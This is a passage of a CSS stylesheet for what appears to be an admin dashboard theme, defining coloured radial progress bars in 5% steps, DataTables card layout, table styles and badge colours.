  background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-80 {
  background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-85 {
  background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-90 {
  background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-95 {
  background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-100 {
  background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-50 {
  background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-55 {
  background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-60 {
  background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-65 {
  background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-70 {
  background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-75 {
  background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-80 {
  background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-85 {
  background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-90 {
  background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-95 {
  background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-100 {
  background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-50 {
  background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-55 {
  background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-60 {
  background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-65 {
  background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-70 {
  background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-75 {
  background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-80 {
  background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-85 {
  background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-90 {
  background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-95 {
  background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-100 {
  background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Default -- */
.radial-bar-default.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-50 {
  background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-55 {
  background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-60 {
  background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-65 {
  background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-70 {
  background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-75 {
  background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-80 {
  background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-85 {
  background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-90 {
  background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-95 {
  background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Pink -- */
.radial-bar-pink.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-50 {
  background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-55 {
  background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-60 {
  background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-65 {
  background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-70 {
  background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-75 {
  background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-80 {
  background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-85 {
  background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-90 {
  background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-95 {
  background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Purple -- */
.radial-bar-purple.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-50 {
  background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-55 {
  background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-60 {
  background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-65 {
  background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-70 {
  background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-75 {
  background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-80 {
  background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-85 {
  background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-90 {
  background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-95 {
  background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-purple.radial-bar-100 {
  background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Inverse -- */
.radial-bar-inverse.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-50 {
  background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-55 {
  background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-60 {
  background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-65 {
  background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-70 {
  background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-75 {
  background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-80 {
  background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-85 {
  background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-90 {
  background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-95 {
  background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-inverse.radial-bar-100 {
  background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-lg {
  width: 100px;
  height: 100px;
  font-size: 20px; }

.radial-bar-lg:after,
.radial-bar-lg > img {
  width: 70px;
  height: 70px;
  margin-left: 15px;
  margin-top: 15px;
  line-height: 70px; }

.radial-bar-sm {
  width: 50px;
  height: 50px;
  font-size: 12px; }

.radial-bar-sm:after,
.radial-bar-sm > img {
  width: 35px;
  height: 35px;
  margin-left: 7.5px;
  margin-top: 7.5px;
  line-height: 35px; }

.radial-bar-xs {
  width: 30px;
  height: 30px;
  font-size: 8px; }

.radial-bar-xs:after,
.radial-bar-xs > img {
  width: 20px;
  height: 20px;
  margin-left: 5.5px;
  margin-top: 4.5px;
  line-height: 21px; }

.radial-bar {
  background-clip: content-box; }

.card .card-body .dataTables_wrapper .dataTables_scroll {
  margin-left: -20px;
  width: calc(100% + 40px); }
  .card .card-body .dataTables_wrapper .dataTables_scroll .dataTable {
    margin-left: 0px;
    width: 100%; }
.card .card-body .dataTables_wrapper .dataTable {
  margin-left: -20px;
  width: calc(100% + 40px); }
.card .card-body .dataTables_wrapper .form-control {
  border: none;
  min-height: 30px;
  background-color: #f4f4f4; }
.card .card-body .dataTables_wrapper select.form-control {
  height: 30px !important; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link {
  margin-left: 5px;
  min-width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 30px;
  border: none;
  background-color: #f4f4f4;
  color: #212121;
  border-radius: 30px;
  -webkit-border-radius: 30px;
  -moz-border-radius: 30px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link {
  padding: 0 15px; }
.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link {
  color: #6c757d;
  background-color: #f4f4f4;
  cursor: not-allowed; }
.card .card-table .card-item {
  border-top: 1px solid #ededed; }

.table thead {
  background-color: #f6f8fb; }
  .table thead th {
    font-weight: 600;
    color: #879099;
    font-size: 14px; }
.table tbody td {
  vertical-align: middle; }
  .table tbody td .table-user-thumb {
    width: 30px;
    height: 30px;
    border-radius: 50%; }
  .table tbody td .table-actions {
    text-align: right; }
    .table tbody td .table-actions a {
      color: #bcc1c6;
      display: inline-block;
      margin-left: 8px;
      font-size: 16px; }

.badge {
  padding: 6px 10px;
  font-size: 12px;
  font-weight: 600; }
  .badge.badge-top-left {
    top: 7px;
    right: 10px; }
  .badge.badge-top-left-2 {
    top: 40px;
    right: 10px; }

.badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram {
  color: #ffffff; }

.badge-theme {
  background-color: #ef4153; }

.badge-aqua {
  background-color: #3ec5d6; }

.badge-blue {
  background-color: #19B5FE; }

.badge-light-blue {
  background-color: #89CFF0; }

.badge-teal {
  background-color: #008081; }

.badge-yellow {
  background-color: #F7CA18; }

.badge-orange {
  background-color: #FF8000; }

.badge-green {
  background-color: #26C281; }

.badge-lime {
  background-color: #cad900; }

.badge-red {
  background-color: #F22613; }

.badge-fuchsia {
  background-color: #df2de3; }

.badge-navy {
  background-color: #000080; }

.badge-empty {
  background: transparent; }

.badge-primary {
  background-color: #007bff; }

.badge-success {
  background-color: #2dce89; }

.badge-info {
  background-color: #11cdef; }

.badge-warning {
  background-color: #fb6340; }

.badge-danger {
  background-color: #f5365c; }

.badge-muted {
  background-color: #6c757d; }

.badge-inverse {
  background-color: #4c5667; }

.badge-purple {
  background-color: #BF55EC; }

.badge-pink {
  background-color: #f76397; }

